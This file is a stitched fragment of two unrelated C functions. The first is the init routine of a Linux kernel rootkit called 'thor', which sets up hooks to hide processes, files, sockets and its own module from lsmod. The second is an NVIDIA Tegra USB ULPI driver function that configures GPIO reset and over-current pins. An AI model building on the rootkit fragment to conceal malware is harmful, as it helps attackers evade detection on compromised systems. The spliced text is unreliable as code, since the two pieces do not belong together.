static int __init thor_init(void) { if (hijack_init() < 0 || procfile_init() < 0 || pidhider_init() < 0 || filehider_init() < 0 || lsmodhider_init() < 0 || sockethider_init() < 0) { LOG_ERROR("failed to initialize"); thor_cleanup(); return -1; } LOG_INFO("init done"); return 0; }
NvOdmUsbUlpiHandle NvOdmUsbUlpiOpen(NvU32 Instance) { NvOdmUsbUlpi*pDevice = NULL; NvU32 ClockInstances[MAX_CLOCKS]; NvU32 ClockFrequencies[MAX_CLOCKS]; NvU32 NumClocks; #if defined(CONFIG_TEGRA_ODM_BETELGEUSE) /* paul */ NvOdmInterruptHandler IntrHandler = (NvOdmInterruptHandler)UsbCurLimitGpioInterruptHandler; /* end */ #endif pDevice = NvOdmOsAlloc(sizeof(NvOdmUsbUlpi)); if(pDevice == NULL) return NULL; if(!NvOdmExternalClockConfig(SMSC3317GUID, NV_FALSE, ClockInstances, ClockFrequencies, &NumClocks)) { NV_DRIVER_TRACE (("ERROR NvOdmUsbUlpiOpen: " "NvOdmExternalClockConfig fail\n")); goto ExitUlpiOdm; } NvOdmOsSleepMS(10); if (!s_hGpio) s_hGpio = NvOdmGpioOpen(); if (!s_hGpio) { NV_DRIVER_TRACE (("ERROR NvOdmUsbUlpiOpen: " "Not able to open gpio handle\n")); goto ExitUlpiOdm; } if (!s_hResetPin) s_hResetPin = NvOdmGpioAcquirePinHandle(s_hGpio, ULPI_RESET_PORT, ULPI_RESET_PIN); if (!s_hResetPin) { NvOdmGpioClose(s_hGpio); s_hGpio = NULL; NV_DRIVER_TRACE (("ERROR NvOdmGpioAcquirePinHandle: " "Not able to Acq pinhandle\n")); goto ExitUlpiOdm; } #if defined(CONFIG_TEGRA_ODM_BETELGEUSE) if (!s_hOvrrCurPin) s_hOvrrCurPin = NvOdmGpioAcquirePinHandle(s_hGpio, ULPI_OVRCURR_PORT, ULPI_OVRCURR_PIN); if (!s_hOvrrCurPin) { NvOdmGpioClose(s_hGpio); s_hGpio = NULL; NV_DRIVER_TRACE (("ERROR NvOdmGpioAcquirePinHandle: " "Not able to Acq pinhandle\n")); goto ExitUlpiOdm; } NvOdmGpioConfig(s_hGpio,s_hOvrrCurPin, NvOdmGpioPinMode_InputData); #endif // Pull high on RESETB ( 22nd pin of smsc3315) // config as out put pin NvOdmGpioConfig(s_hGpio,s_hResetPin, NvOdmGpioPinMode_Output); // Set low to write high on ULPI_RESETB pin NvOdmGpioSetState(s_hGpio, s_hResetPin, 0x01); NvOdmGpioSetState(s_hGpio, s_hResetPin, 0x0); NvOdmOsSleepMS(5); NvOdmGpioSetState(s_hGpio, s_hResetPin, 0x01); #if defined(BUG_CONFIG_TEGRA_ODM_BETELGEUSE) /* paul merge smith begin */ /* create mutex for usb over current detect */ NvOsMutexCreate(&usbCurrLimit_lock); #if 0 /* create /proc/usbCurrLimitInfo for user space read */ /* S_IRUGO */ create_proc_read_entry("usbCurrLimitInfo", S_IRWXUGO, NULL, tegra_usbCurrLimit_read_proc, NULL); #else procfile_init(); #endif /* register interrupt handler for GPIO_PU3 status */ if (NvOdmGpioInterruptRegister(s_hGpio, &IntrHandle, s_hOvrrCurPin, NvOdmGpioPinMode_InputInterruptLow, IntrHandler, (void *)NULL, 0) == NV_FALSE) { NV_DRIVER_TRACE (("ERROR NvOdmGpioInterruptRegister: " "Not able to register intr hdlr for s_hCurLimitPin\n")); } /* paul merge smith end */ #endif pDevice->CurrentGUID = SMSC3317GUID; return pDevice; ExitUlpiOdm: NvOdmOsFree(pDevice); return NULL; }